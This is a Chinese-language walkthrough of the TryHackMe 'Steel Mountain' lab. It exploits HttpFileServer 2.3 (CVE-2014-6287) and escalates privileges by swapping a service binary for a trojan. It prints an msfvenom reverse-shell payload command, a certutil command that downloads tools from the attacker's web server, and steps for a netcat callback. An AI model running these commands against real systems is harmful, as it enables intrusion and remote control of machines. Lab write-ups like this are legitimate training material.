TryHackMe-Steel_Mountain
靶机难度:简单
信息收集
nmap 扫描之后会发现目标机器开了两个网页服务器
我们可以访问一下。
80端口只有一个图片,
并且是IIs8.5版本的中间件.
而8080则是一个httpfileserver 2.3版本的中间件。
对这服务版本进行漏洞检索
漏洞利用
发现有存在可利用的漏洞,进msf看看。
设置好目标端口和IP后,开始利用就好。
已经拿到初步后门,但是权限仅限于bill用户
提权
上传PowerUp.ps1文件,你可以在这里下载
这个脚本的作用是枚举目标机器并确定该机器上的异常服务错误的权限配置
To enumerate this machine, we will use a powershell script called PowerUp, that’s purpose is to evaluate a Windows machine and determine any abnormalities - “PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.”
关于这个脚本更多的信息可以查看这里
执行这个脚本,执行这个脚本之前我们需要先载入powershell
1 | load powershell |
拿到flag1
1 | . .\PowerUp.ps1 |
关注AdvancedSystemCareService9这个服务的CanRestart,如果它为True,说明我们可以手动去关闭这个服务,并使用非法的木马程序替换掉合法的程序。
生成木马
1 | msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -e x86/shikata_ga_nai -f exe -o ASCService.exe |
将服务关闭后,切换到服务程序所在路径。上传由我们生成的ASCService.exe替换掉原来的ASCService.exe
1 | sc stop [servicename] |
拿到root权限。
额外练习——不使用msf利用cve2014-6287
expolit
这个exp也是我们在上面所利用的。而这一次,我们不使用msf,去使用这个exploit。
为了达到这一目标,我们需要有一个web服务器,nc监听端口。所以要打开多个终端。
并且我们需要下载nc.exe
将下载的ncat.exe改名字为nc.exe后,放在你web的根目录,因为我们只是执行渗透攻击流程,并不需要什么很好看功能强大的网站。
我们可以直接使用python来运行一个网站。
1 | python -m SimpleHTTPService |
修改下载好的exp的IP和监听端口配置。
开启另外一个终端,开始监听。同时,执行exploit文件,以获得初步shell。
你需要执行两次exploit,因为它第一次执行,是将nc.exe拉入目标系统中,而第二次则是执行我们的有效负载获得回调。
You will need to run the exploit twice. The first time will pull our netcat binary to the system and the second will execute our payload to gain a callback!
房间这里向我们介绍了另外一个windows下的枚举信息的脚本——winPEAS它和LinEnum.sh差不多。这里下载
但是拿到cmd shell之后怎我们怎么上传我们的木马来替换合法的服务程序或者说是枚举脚本呢?
因为我们是开启了一个web服务器的,所以 我们可以把要上传的文件放在网站根目录下。在目标机器cmd shell 中运行。
1 | certutil -urlcache -split -f http://ip/winPEAS.exe |
然后我们就可以使用winPEAS.exe进行枚举了。
我们也可以使用
1 | powershell -c "get-service" |
来看本机运行的服务名称
最后的提权步骤,和上面的提权步骤是相同的。